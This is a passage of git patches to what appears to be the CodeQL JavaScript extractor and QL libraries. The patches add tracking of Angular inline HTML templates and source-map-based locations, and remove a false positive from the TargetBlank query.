htmlNodeLabel = context.getNodeLabel(parentHtmlNode); + writer.addTuple("toplevel_parent_xml_node", topLevelLabel, htmlNodeLabel); + } } diff --git a/javascript/ql/src/semmle/javascript/HTML.qll b/javascript/ql/src/semmle/javascript/HTML.qll index 36c7e967f88..d0e17e8ad61 100644 --- a/javascript/ql/src/semmle/javascript/HTML.qll +++ b/javascript/ql/src/semmle/javascript/HTML.qll @@ -88,26 +88,7 @@ module HTML { * Gets the inline script of the given attribute, if any. */ CodeInAttribute getCodeInAttribute(XMLAttribute attribute) { - exists( - string f, Location l1, int sl1, int sc1, int el1, int ec1, Location l2, int sl2, int sc2, - int el2, int ec2 - | - l1 = attribute.getLocation() and - l2 = result.getLocation() and - l1.hasLocationInfo(f, sl1, sc1, el1, ec1) and - l2.hasLocationInfo(f, sl2, sc2, el2, ec2) - | - ( - sl1 = sl2 and sc1 < sc2 - or - sl1 < sl2 - ) and - ( - el1 = el2 and ec1 > ec2 - or - el1 > el2 - ) - ) + toplevel_parent_xml_node(result, attribute) } /** @@ -233,26 +214,7 @@ module HTML { * Gets the inline script of this script element, if any. */ private InlineScript getInlineScript() { - exists( - string f, Location l1, int sl1, int sc1, int el1, int ec1, Location l2, int sl2, int sc2, - int el2, int ec2 - | - l1 = getLocation() and - l2 = result.getLocation() and - l1.hasLocationInfo(f, sl1, sc1, el1, ec1) and - l2.hasLocationInfo(f, sl2, sc2, el2, ec2) - | - ( - sl1 = sl2 and sc1 < sc2 - or - sl1 < sl2 - ) and - ( - el1 = el2 and ec1 > ec2 - or - el1 > el2 - ) - ) and + toplevel_parent_xml_node(result, this) and // the src attribute has precedence not exists(getSourcePath()) } diff --git a/javascript/ql/src/semmlecode.javascript.dbscheme b/javascript/ql/src/semmlecode.javascript.dbscheme index 16cee27e77d..281ca4de940 100644 --- a/javascript/ql/src/semmlecode.javascript.dbscheme +++ b/javascript/ql/src/semmlecode.javascript.dbscheme @@ -131,6 +131,11 @@ is_nodejs (int tl: @toplevel ref); is_es2015_module (int tl: @toplevel ref); is_closure_module (int tl: @toplevel ref); +@xml_node_with_code = @xmlelement | @xmlattribute; +toplevel_parent_xml_node( + unique int toplevel: @toplevel ref, + int xmlnode: @xml_node_with_code ref); + // statements #keyset[parent, idx] stmts (unique int id: @stmt, From f24af58a60eaa84b597ef177a69c0b9a3487df7e Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 14 Dec 2020 12:32:38 +0000 Subject: [PATCH 0652/1241] JS: Extract mapping from HTML node to parent Expression --- .../src/com/semmle/js/extractor/ASTExtractor.java | 12 ++++++++---- .../src/com/semmle/js/extractor/HTMLExtractor.java | 14 ++++++++++---- javascript/ql/src/semmlecode.javascript.dbscheme | 5 +++++ 3 files changed, 23 insertions(+), 8 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 2b448ac54c5..1e9100f8d83 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -1143,7 +1143,7 @@ public class ASTExtractor { locationManager.emitNodeLocation(nd, propkey); visitAll(nd.getDecorators(), propkey, IdContext.varBind, -1, -1); visit(nd.getKey(), propkey, 0, nd.isComputed() ? IdContext.varBind : IdContext.label); - visit(nd.getValue(), propkey, 1, c.idcontext); + Label valueLabel = visit(nd.getValue(), propkey, 1, c.idcontext); visit(nd.getDefaultValue(), propkey, 2, IdContext.varBind); if (nd.isComputed()) trapwriter.addTuple("is_computed", propkey); if (nd.isMethod()) trapwriter.addTuple("is_method", propkey); @@ -1151,7 +1151,7 @@ public class ASTExtractor { // Extract the value of a property named `template` as HTML, in order to support // Angular2 components with an inline template. if (!nd.isComputed() && "template".equals(tryGetIdentifierName(nd.getKey()))) { - extractStringValueAsHtml(nd.getValue()); + extractStringValueAsHtml(nd.getValue(), valueLabel); } return propkey; @@ -1160,7 +1160,7 @@ public class ASTExtractor { /** * Extracts the string value of <code>expr</code> as an HTML snippet. */ - private void extractStringValueAsHtml(Expression expr) { + private void extractStringValueAsHtml(Expression expr, Label exprLabel) { TextualExtractor textualExtractor = lexicalExtractor.getTextualExtractor(); if (textualExtractor.isSnippet()) { return; // do not create nested snippets @@ -1185,7 +1185,11 @@ public class ASTExtractor { getMetrics(), vfile.toFile()); HTMLExtractor html = HTMLExtractor.forEmbeddedHtml(config); - html.extract(innerTextualExtractor); + List<Label> rootNodes = html.extractEx(innerTextualExtractor).fst(); + int rootNodeIndex = 0; + for (Label rootNode : rootNodes) { + trapwriter.addTuple("xml_element_parent_expression", rootNode, exprLabel, rootNodeIndex++); + } } private String tryGetIdentifierName(Expression e) { diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index f04ea325528..df7eb9eacba 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -1,7 +1,9 @@ package com.semmle.js.extractor; import java.io.File; +import java.io.IOException; import java.nio.file.Path; +import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -180,9 +182,13 @@ public class HTMLExtractor implements IExtractor { public static HTMLExtractor forEmbeddedHtml(ExtractorConfig config) { return new HTMLExtractor(config, null, true); } - + @Override - public LoCInfo extract(TextualExtractor textualExtractor) { + public LoCInfo extract(TextualExtractor textualExtractor) throws IOException { + return extractEx(textualExtractor).snd(); + } + + public Pair<List<Label>, LoCInfo> extractEx(TextualExtractor textualExtractor) { // Angular templates contain attribute names that are not valid HTML/XML, such as [foo], (foo), [(foo)], and *foo. // Allow a large number of errors in attribute names, so the Jericho parser does not give up. Attributes.setDefaultMaxErrorCount(100); @@ -198,9 +204,9 @@ public class HTMLExtractor implements IExtractor { extractor.setStartOffset(locationManager.getStartLine() - 1, locationManager.getStartColumn() - 1); - extractor.doit(Option.some(eltHandler)); + List<Label> rootNodes = extractor.doit(Option.some(eltHandler)); - return locInfo; + return Pair.make(rootNodes, locInfo); } /** diff --git a/javascript/ql/src/semmlecode.javascript.dbscheme b/javascript/ql/src/semmlecode.javascript.dbscheme index 281ca4de940..11b7de776be 100644 --- a/javascript/ql/src/semmlecode.javascript.dbscheme +++ b/javascript/ql/src/semmlecode.javascript.dbscheme @@ -136,6 +136,11 @@ toplevel_parent_xml_node( unique int toplevel: @toplevel ref, int xmlnode: @xml_node_with_code ref); +xml_element_parent_expression( + unique int xmlnode: @xmlelement ref, + int expression: @expr ref, + int index: int ref); + // statements #keyset[parent, idx] stmts (unique int id: @stmt, From 898d22d2f43ecfd623e33606e6c9a5fc450e6d16 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 14 Dec 2020 14:10:28 +0000 Subject: [PATCH 0653/1241] JS: Simplify HTML element access --- javascript/ql/src/semmle/javascript/HTML.qll | 40 +++++++++++++------ .../semmle/javascript/frameworks/Angular2.qll | 30 ++++---------- 2 files changed, 36 insertions(+), 34 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/HTML.qll b/javascript/ql/src/semmle/javascript/HTML.qll index d0e17e8ad61..c92e89d1baf 100644 --- a/javascript/ql/src/semmle/javascript/HTML.qll +++ b/javascript/ql/src/semmle/javascript/HTML.qll @@ -10,6 +10,29 @@ module HTML { HtmlFile() { getFileType().isHtml() } } + /** + * A file that may contain HTML elements. + * + * This is either an `.html` file or a source code file containing + * embedded HTML snippets. + */ + private class FileContainingHtml extends File { + FileContainingHtml() { + getFileType().isHtml() + or + // The file contains an expression containing an HTML element + exists(Expr e | + e.getFile() = this and + xml_element_parent_expression(_, e, _) + ) + } + } + + /** Gets `i`th root node of the HTML fragment embedded in the given expression, if any. */ + Element getHtmlElementFromExpr(Expr e, int i) { + xml_element_parent_expression(result, e, i) + } + /** * An HTML element. * @@ -20,7 +43,7 @@ module HTML { * ``` */ class Element extends Locatable, @xmlelement { - Element() { exists(HtmlFile f | xmlElements(this, _, _, _, f)) } + Element() { exists(FileContainingHtml f | xmlElements(this, _, _, _, f)) } override Location getLocation() { xmllocations(this, result) } @@ -84,13 +107,6 @@ module HTML { override string getAPrimaryQlClass() { result = "HTML::Element" } } - /** - * Gets the inline script of the given attribute, if any. - */ - CodeInAttribute getCodeInAttribute(XMLAttribute attribute) { - toplevel_parent_xml_node(result, attribute) - } - /** * An attribute of an HTML element. * @@ -104,7 +120,7 @@ module HTML { * ``` */ class Attribute extends Locatable, @xmlattribute { - Attribute() { exists(HtmlFile f | xmlAttrs(this, _, _, _, _, f)) } + Attribute() { exists(FileContainingHtml f | xmlAttrs(this, _, _, _, _, f)) } override Location getLocation() { xmllocations(this, result) } @@ -112,7 +128,7 @@ module HTML { * Gets the inline script of this attribute, if any. */ CodeInAttribute getCodeInAttribute() { - result = getCodeInAttribute(this) + toplevel_parent_xml_node(result, this) } /** @@ -264,7 +280,7 @@ module HTML { * Note that instances of this class are only available if extraction is done with `--html all` or `--experimental`. */ class TextNode extends Locatable, @xmlcharacters { - TextNode() { exists(HtmlFile f | xmlChars(this, _, _, _, _, f)) } + TextNode() { exists(FileContainingHtml f | xmlChars(this, _, _, _, _, f)) } override string toString() { result = getText() } @@ -303,7 +319,7 @@ module HTML { * ``` */ class CommentNode extends Locatable, @xmlcomment { - CommentNode() { exists(HtmlFile f | xmlComments(this, _, _, f)) } + CommentNode() { exists(FileContainingHtml f | xmlComments(this, _, _, f)) } /** Gets the element in which this comment occurs. */ Element getParent() { xmlComments(this, _, result, _) } diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 52e82d66660..71cabd987c3 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -340,11 +340,6 @@ module Angular2 { result = getAttributeValueAsNode(getATemplateInstantiation().getAttributeByName("[" + name + "]")) } - /** Gets the `templateUrl` property of the `@Component` decorator. */ - string getTemplateUrl() { - decorator.getOptionArgument(0, "templateUrl").mayHaveStringValue(result) - } - /** * Gets the file referred to by `templateUrl`. * @@ -355,30 +350,21 @@ module Angular2 { result = decorator.getOptionArgument(0, "templateUrl").asExpr().(PathExpr).resolve() } - pragma[noinline] - private Location getInlineTemplateLocation() { - result = decorator.getOptionArgument(0, "template").asExpr().getLocation() - } - - private XMLAttribute getAnAttributeInInlineTemplate() { - exists(Location templateLoc, Location attribLoc | - templateLoc = getInlineTemplateLocation() and - attribLoc = result.getLocation() and - templateLoc.getFile() = attribLoc.getFile() - // TODO: check line/column - though in practice checking the file is enough - ) + /** Gets an element in the HTML template of this component. */ + HTML::Element getATemplateElement() { + result.getFile() = getTemplateFile() + or + result.getParent*() = HTML::getHtmlElementFromExpr(decorator.getOptionArgument(0, "template").asExpr(), _) } /** * Gets an access to the variable `name` in the template body. */ DataFlow::Node getATemplateVarAccess(string name) { - exists(XMLAttribute attrib | - attrib.getLocation().getFile() = getTemplateFile() or - attrib = getAnAttributeInInlineTemplate() - | + exists(HTML::Attribute attrib | + attrib = getATemplateElement().getAnAttribute() and isAngularExpressionAttribute(attrib) and - result = getAGlobalVarAccessInAttribute(HTML::getCodeInAttribute(attrib), name).flow() + result = getAGlobalVarAccessInAttribute(attrib.getCodeInAttribute(), name).flow() ) } } From 97f7cb4dc16b3be94f1f8012d671e68e432d0826 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 14 Dec 2020 15:10:42 +0000 Subject: [PATCH 0654/1241] JS: Track location information using SourceMaps --- .../src/com/semmle/js/ast/Position.java | 11 +++- .../com/semmle/js/extractor/ASTExtractor.java | 36 +++++++------ .../semmle/js/extractor/HTMLExtractor.java | 37 +++++++------- .../semmle/js/extractor/LocationManager.java | 45 +++++++++++++++-- .../js/extractor/OffsetTranslation.java | 39 --------------- .../semmle/js/extractor/RegExpExtractor.java | 6 ++- .../semmle/js/extractor/TextualExtractor.java | 36 +++++++++++++ .../extractor/test/OffsetTranslationTest.java | 50 ------------------- 8 files changed, 129 insertions(+), 131 deletions(-) delete mode 100644 javascript/extractor/src/com/semmle/js/extractor/OffsetTranslation.java delete mode 100644 javascript/extractor/src/com/semmle/js/extractor/test/OffsetTranslationTest.java diff --git a/javascript/extractor/src/com/semmle/js/ast/Position.java b/javascript/extractor/src/com/semmle/js/ast/Position.java index 7d7ed274c3e..3bf14982e24 100644 --- a/javascript/extractor/src/com/semmle/js/ast/Position.java +++ b/javascript/extractor/src/com/semmle/js/ast/Position.java @@ -1,6 +1,13 @@ package com.semmle.js.ast; -/** A source position identifying a single character. */ +/** + * A source position identifying a single character. + * <p> + * Note that this class remains distinct from {@link com.semmle.util.locations.Position}, + * due to the 1-based line number convention and the tendency for users of this class to provide + * dummy offset values. Although the classes are structurally identical, it is not always safe to + * convert one into the other. + */ public class Position implements Comparable<Position> { private final int line, column, offset; @@ -23,6 +30,8 @@ public class Position implements Comparable<Position> { /** * The offset (0-based) of this position from the start of the file, that is, the number of * characters that precede it. + * <p> + * Note that in some cases, a dummy value is filled in for the offset. */ public int getOffset() { return offset; diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 1e9100f8d83..34429097207 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -155,6 +155,9 @@ import com.semmle.ts.ast.TypeofTypeExpr; import com.semmle.ts.ast.UnaryTypeExpr; import com.semmle.ts.ast.UnionTypeExpr; import com.semmle.util.collections.CollectionUtil; +import com.semmle.util.data.Pair; +import com.semmle.util.locations.OffsetTranslation; +import com.semmle.util.locations.SourceMap; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; @@ -1165,25 +1168,23 @@ public class ASTExtractor { if (textualExtractor.isSnippet()) { return; // do not create nested snippets } - String source = tryGetStringValueFromExpression(expr); - if (source == null) { + Pair<String, OffsetTranslation> sourceAndOffset = tryGetStringValueFromExpression(expr); + if (sourceAndOffset == null) { return; } + String source = sourceAndOffset.fst(); SourceLocation loc = expr.getLoc(); Path originalFile = textualExtractor.getExtractedFile().toPath(); Path vfile = originalFile.resolveSibling(originalFile.getFileName().toString() + "." + loc.getStart().getLine() + "." + loc.getStart().getColumn() + ".html"); - LocationManager innerLocationManager = new LocationManager( - locationManager.getSourceFile(), - locationManager.getTrapWriter(), - locationManager.getFileLabel()); - innerLocationManager.setStart(loc.getStart().getLine(), loc.getStart().getColumn()); + SourceMap sourceMap = textualExtractor.getSourceMap().offsetBy(loc.getStart().getOffset(), sourceAndOffset.snd()); TextualExtractor innerTextualExtractor = new TextualExtractor( trapwriter, - innerLocationManager, + locationManager, source, false, getMetrics(), - vfile.toFile()); + vfile.toFile(), + sourceMap); HTMLExtractor html = HTMLExtractor.forEmbeddedHtml(config); List<Label> rootNodes = html.extractEx(innerTextualExtractor).fst(); int rootNodeIndex = 0; @@ -1195,22 +1196,25 @@ public class ASTExtractor { private String tryGetIdentifierName(Expression e) { return e instanceof Identifier ? ((Identifier)e).getName() : null; } - - private String tryGetStringValueFromExpression(Expression e) { + + private Pair<String, OffsetTranslation> tryGetStringValueFromExpression(Expression e) { if (e instanceof Literal) { Literal lit = (Literal) e; - return lit.isStringLiteral() ? (String) lit.getValue() : null; + if (!lit.isStringLiteral()) { + return null; + } + return Pair.make((String) lit.getValue(), makeStringLiteralOffsets(lit.getRaw())); } if (e instanceof TemplateLiteral) { TemplateLiteral lit = (TemplateLiteral) e; if (!lit.getExpressions().isEmpty()) { return null; } - StringBuilder sb = new StringBuilder(); - for (TemplateElement elm : lit.getQuasis()) { - sb.append(elm.getCooked()); + if (lit.getQuasis().size() != 1) { + return null; } - return sb.toString(); + TemplateElement element = lit.getQuasis().get(0); + return Pair.make((String) element.getCooked(), makeStringLiteralOffsets("`" + element.getRaw() + "`")); } return null; } diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index df7eb9eacba..8cd41a19f38 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -15,6 +15,7 @@ import com.semmle.util.data.Option; import com.semmle.util.data.Pair; import com.semmle.util.data.StringUtil; import com.semmle.util.io.WholeIO; +import com.semmle.util.locations.Position; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; @@ -22,7 +23,6 @@ import net.htmlparser.jericho.Attribute; import net.htmlparser.jericho.Attributes; import net.htmlparser.jericho.Element; import net.htmlparser.jericho.HTMLElementName; -import net.htmlparser.jericho.RowColumnVector; import net.htmlparser.jericho.Segment; /** Extractor for handling HTML and XHTML files. */ @@ -73,15 +73,13 @@ public class HTMLExtractor implements IExtractor { */ source = source.replace("<![CDATA[", " ").replace("]]>", " "); if (!source.trim().isEmpty()) { - RowColumnVector contentStart = content.getRowColumnVector(); extractSnippet( TopLevelKind.inlineScript, config.withSourceType(sourceType), scopeManager, textualExtractor, source, - contentStart.getRow(), - contentStart.getColumn(), + content.getBegin(), isTypeScript, elt, context); @@ -96,7 +94,7 @@ public class HTMLExtractor implements IExtractor { if (attr.getValue() == null || attr.getValue().isEmpty()) continue; String source = attr.getValue(); - RowColumnVector valueStart = attr.getValueSegment().getRowColumnVector(); + int valueStart = attr.getValueSegment().getBegin(); if (JS_ATTRIBUTE.matcher(attr.getName()).matches()) { extractSnippet( TopLevelKind.eventHandler, @@ -104,8 +102,7 @@ public class HTMLExtractor implements IExtractor { scopeManager, textualExtractor, source, - valueStart.getRow(), - valueStart.getColumn(), + valueStart, false /* isTypeScript */, attr, context); @@ -126,8 +123,7 @@ public class HTMLExtractor implements IExtractor { scopeManager, textualExtractor, source, - valueStart.getRow(), - valueStart.getColumn() + offset, + valueStart + offset, false /* isTypeScript */, attr, context); @@ -139,8 +135,7 @@ public class HTMLExtractor implements IExtractor { scopeManager, textualExtractor, source, - valueStart.getRow(), - valueStart.getColumn() + 11, + valueStart + 11, false /* isTypeScript */, attr, context); @@ -201,8 +196,11 @@ public class HTMLExtractor implements IExtractor { textualExtractor.getSource(), textualExtractor.getTrapwriter(), locationManager.getFileLabel()); - - extractor.setStartOffset(locationManager.getStartLine() - 1, locationManager.getStartColumn() - 1); + + // For efficiency, avoid building the source map if not needed (i.e. for plain HTML files). + if (textualExtractor.hasNonTrivialSourceMap()) { + extractor.setSourceMap(textualExtractor.getSourceMap()); + } List<Label> rootNodes = extractor.doit(Option.some(eltHandler)); @@ -280,24 +278,23 @@ public class HTMLExtractor implements IExtractor { ScopeManager scopeManager, TextualExtractor textualExtractor, String source, - int line, - int column, + int offset, boolean isTypeScript, Segment parentHtmlNode, HtmlPopulator.Context context) { TrapWriter trapWriter = textualExtractor.getTrapwriter(); LocationManager locationManager = textualExtractor.getLocationManager(); - LocationManager scriptLocationManager = - new LocationManager( - locationManager.getSourceFile(), trapWriter, locationManager.getFileLabel()); - scriptLocationManager.setStart(line, column); + // JavaScript AST extraction does not currently support source maps, so just set + // line/column numbers on the location manager. + Position pos = textualExtractor.getSourceMap().getStart(offset); + LocationManager scriptLocationManager = locationManager.startingAt(pos.getLine(), pos.getColumn()); if (isTypeScript) { if (isEmbedded) { return; // Do not extract files from HTML embedded in other files. } Path file = textualExtractor.getExtractedFile().toPath(); FileSnippet snippet = - new FileSnippet(file, line, column, toplevelKind, config.getSourceType()); + new FileSnippet(file, pos.getLine(), pos.getColumn(), toplevelKind, config.getSourceType()); VirtualSourceRoot vroot = config.getVirtualSourceRoot(); // Vue files are special in that they can be imported as modules, and may only // contain one <script> tag. diff --git a/javascript/extractor/src/com/semmle/js/extractor/LocationManager.java b/javascript/extractor/src/com/semmle/js/extractor/LocationManager.java index 66b2919f520..e3aa38acfa5 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/LocationManager.java +++ b/javascript/extractor/src/com/semmle/js/extractor/LocationManager.java @@ -1,13 +1,15 @@ package com.semmle.js.extractor; +import java.io.File; +import java.util.LinkedHashSet; +import java.util.Set; + import com.semmle.js.ast.Position; import com.semmle.js.ast.SourceElement; import com.semmle.util.files.FileUtil; +import com.semmle.util.locations.SourceMap; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; -import java.io.File; -import java.util.LinkedHashSet; -import java.util.Set; /** * This class handles location information; in particular, it translates locations reported by the @@ -30,6 +32,30 @@ public class LocationManager { this.startColumn = 1; } + public LocationManager(LocationManager other) { + this.sourceFile = other.sourceFile; + this.trapWriter = other.trapWriter; + this.fileLabel = other.fileLabel; + this.startLine = other.startLine; + this.startColumn = other.startColumn; + } + + /** + * Returns a copy of this location manager whose locations are relative to the + * given 1-based line and column numbers (which themselves are relative to this location manager's + * starting point). + */ + public LocationManager startingAt(int line, int column) { + LocationManager copy = new LocationManager(this); + if (line == 1) { + copy.startColumn += column - 1; + } else { + copy.startLine += line - 1; + copy.startColumn = column; + } + return copy; + } + public File getSourceFile() { return sourceFile; } @@ -63,6 +89,19 @@ public class LocationManager { this.hasLocation = hasLocation; } + /** + * Creates a source map adjusted for the line/column offset configured in this location manager. + * <p> + * Note that the absolute offset returned by the source map will be incorrect and should not be relied upon, + * only the line and column numbers are valid. + */ + public SourceMap adjustSourceMap(final SourceMap map) { + // This method is a placeholder for a better solution in which the location manager has a SourceMap of its own. + // That solution requires all users of the location manager to track absolute offsets and defer line/column calculations + // to the location manager's source map. + return SourceMap.legacyWithStartPos(map, new com.semmle.util.locations.Position(startLine, startColumn, 0)); + } + /** * Emit location information for an AST node. The node's location is translated from the parser's * 0-based column numbering scheme with exclusive offsets into our 1-based scheme with inclusive diff --git a/javascript/extractor/src/com/semmle/js/extractor/OffsetTranslation.java b/javascript/extractor/src/com/semmle/js/extractor/OffsetTranslation.java deleted file mode 100644 index 88ebc80b9a9..00000000000 --- a/javascript/extractor/src/com/semmle/js/extractor/OffsetTranslation.java +++ /dev/null @@ -1,39 +0,0 @@ -package com.semmle.js.extractor; - -import com.semmle.util.data.IntList; - -/** - * A mapping of some source range into a set of intervals in an output source range. - * - * <p>The mapping is constructed by adding "anchors": input/output pairs that correspond to the - * beginning of an interval, which is assumed to end at the next anchor. - */ -public class OffsetTranslation { - private IntList anchors = IntList.create(); - private IntList deltas = IntList.create(); - - /** Returns the mapping of x. */ - public int get(int x) { - int index = anchors.binarySearch(x); - if (index < 0) { - // The insertion point is -index - 1. - // Get the index immediately before that. - index = -index - 2; - if (index < 0) { - // If queried before the first anchor, use the first anchor anyway. - index = 0; - } - } - return x + deltas.get(index); - } - - /** - * Maps the given input offset to the given output offset. - * - * <p>This is added as an anchor. Any offset is mapped based on its closest preceding anchor. - */ - public void set(int from, int to) { - anchors.add(from); - deltas.add(to - from); - } -} diff --git a/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java index e1a5f9a706b..72f0e48bec0 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java @@ -1,5 +1,8 @@ package com.semmle.js.extractor; +import java.util.LinkedHashMap; +import java.util.Map; + import com.semmle.js.ast.Node; import com.semmle.js.ast.Position; import com.semmle.js.ast.SourceElement; @@ -40,10 +43,9 @@ import com.semmle.js.ast.regexp.ZeroWidthPositiveLookahead; import com.semmle.js.ast.regexp.ZeroWidthPositiveLookbehind; import com.semmle.js.parser.RegExpParser; import com.semmle.js.parser.RegExpParser.Result; +import com.semmle.util.locations.OffsetTranslation; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; -import java.util.LinkedHashMap; -import java.util.Map; /** Extractor for populating regular expressions. */ public class RegExpExtractor { diff --git a/javascript/extractor/src/com/semmle/js/extractor/TextualExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/TextualExtractor.java index b4225ac897f..6cd3a8838dc 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/TextualExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/TextualExtractor.java @@ -6,6 +6,7 @@ import java.util.regex.Pattern; import com.semmle.js.ast.Position; import com.semmle.js.ast.SourceElement; +import com.semmle.util.locations.SourceMap; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; @@ -24,6 +25,7 @@ public class TextualExtractor { private final boolean extractLines; private final ExtractionMetrics metrics; private final File extractedFile; + private SourceMap sourceMap; public TextualExtractor( TrapWriter trapwriter, @@ -32,6 +34,17 @@ public class TextualExtractor { boolean extractLines, ExtractionMetrics metrics, File extractedFile) { + this(trapwriter, locationManager, source, extractLines, metrics, extractedFile, null); + } + + public TextualExtractor( + TrapWriter trapwriter, + LocationManager locationManager, + String source, + boolean extractLines, + ExtractionMetrics metrics, + File extractedFile, + SourceMap sourceMap) { this.trapwriter = trapwriter; this.locationManager = locationManager; this.source = source; @@ -39,6 +52,29 @@ public class TextualExtractor { this.extractLines = extractLines; this.metrics = metrics; this.extractedFile = extractedFile; + this.sourceMap = sourceMap; + } + + /** + * Returns the source map mapping the characters of {@link #getSource()} back to the + * original file locations. + */ + public SourceMap getSourceMap() { + // The SourceMap should ideally be owned by the location manager, but the location manager does not + // have access to the source code. We construct a source map lazily since, at the time of writing, + // most code does not operate with source maps. + if (sourceMap == null) { + sourceMap = locationManager.adjustSourceMap(SourceMap.fromString(source)); + } + return sourceMap; + } + + /** + * Returns true if the source map that would be returned by {@link #getSourceMap()} might not be a 1:1 mapping + * to the original source file. + */ + public boolean hasNonTrivialSourceMap() { + return sourceMap != null || locationManager.getStartLine() != 1 || locationManager.getStartColumn() != 1; } /** diff --git a/javascript/extractor/src/com/semmle/js/extractor/test/OffsetTranslationTest.java b/javascript/extractor/src/com/semmle/js/extractor/test/OffsetTranslationTest.java deleted file mode 100644 index 8b8a65aa14d..00000000000 --- a/javascript/extractor/src/com/semmle/js/extractor/test/OffsetTranslationTest.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.semmle.js.extractor.test; - -import com.semmle.js.extractor.OffsetTranslation; -import org.junit.Assert; -import org.junit.Test; - -public class OffsetTranslationTest { - @Test - public void testBasic() { - OffsetTranslation table = new OffsetTranslation(); - table.set(0, 10); - table.set(100, 250); - Assert.assertEquals(10, table.get(0)); - Assert.assertEquals(15, table.get(5)); - Assert.assertEquals(85, table.get(75)); - Assert.assertEquals(109, table.get(99)); - Assert.assertEquals(250, table.get(100)); - Assert.assertEquals(251, table.get(101)); - } - - @Test - public void testLookupBefore() { - OffsetTranslation table = new OffsetTranslation(); - table.set(0, 10); - table.set(100, 250); - Assert.assertEquals(9, table.get(-1)); - } - - @Test - public void testIdentity() { - OffsetTranslation table = new OffsetTranslation(); - table.set(0, 0); - Assert.assertEquals(0, table.get(0)); - Assert.assertEquals(75, table.get(75)); - } - - @Test - public void testDuplicateAnchor() { - OffsetTranslation table = new OffsetTranslation(); - table.set(0, 0); - table.set(10, 100); - table.set(10, 100); - table.set(20, 150); - Assert.assertEquals(1, table.get(1)); - Assert.assertEquals(100, table.get(10)); - Assert.assertEquals(101, table.get(11)); - Assert.assertEquals(150, table.get(20)); - Assert.assertEquals(151, table.get(21)); - } -} From 3c0867125b90df034bb0b3d9424b6a6aaa583d3a Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 17 Dec 2020 15:26:34 +0000 Subject: [PATCH 0655/1241] JS: Remove FP in TargetBlank --- javascript/ql/src/DOM/TargetBlank.ql | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/javascript/ql/src/DOM/TargetBlank.ql b/javascript/ql/src/DOM/TargetBlank.ql index c925000159f..cf6b7969d3d 100644 --- a/javascript/ql/src/DOM/TargetBlank.ql +++ b/javascript/ql/src/DOM/TargetBlank.ql @@ -16,6 +16,13 @@ import javascript import semmle.javascript.frameworks.Templating import semmle.javascript.RestrictedLocations +/** + * Holds if the `rel` attribute may be injected by an Angular2 directive. + */ +predicate maybeInjectedByAngular() { + DataFlow::moduleMember("@angular/core", "HostBinding").getACall().getArgument(0).mayHaveStringValue("attr.rel") +} + /** * Holds if the href attribute contains a host that we cannot determine statically. */ @@ -44,6 +51,8 @@ where e.getName() = "a" and // and the host in the href is not hard-coded hasDynamicHrefHostAttributeValue(e) and + // disable for Angular applications that dynamically inject the 'rel' attribute + not maybeInjectedByAngular() and e.getAttributeByName("target").getStringValue() = "_blank" and // there is no `rel` attribute specifying link type `noopener`/`noreferrer`; // `rel` attributes with non-constant value are handled conservatively From 07cfceee191dffba72ee45235e8b14d29e87c780 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 17 Dec 2020 15:31:33 +0000 Subject: [PATCH 0656/1241] JS: TRAP test for angular templates --- .../tests/ng-templates/input/component.js | 10 + .../extractor/tests/ng-templates/options.json | 3 + .../output/trap/component.js.trap | 666 ++++++++++++++++++ 3 files changed, 679 insertions(+) create mode 100644 javascript/extractor/tests/ng-templates/input/component.js create mode 100644 javascript/extractor/tests/ng-templates/options.json create mode 100644 javascript/extractor/tests/ng-templates/output/trap/component.js.trap diff --git a/javascript/extractor/tests/ng-templates/input/component.js b/javascript/extractor/tests/ng-templates/input/component.js new file mode 100644 index 00000000000..c63bffa0769 --- /dev/null +++ b/javascript/extractor/tests/ng-templates/input/component.js @@ 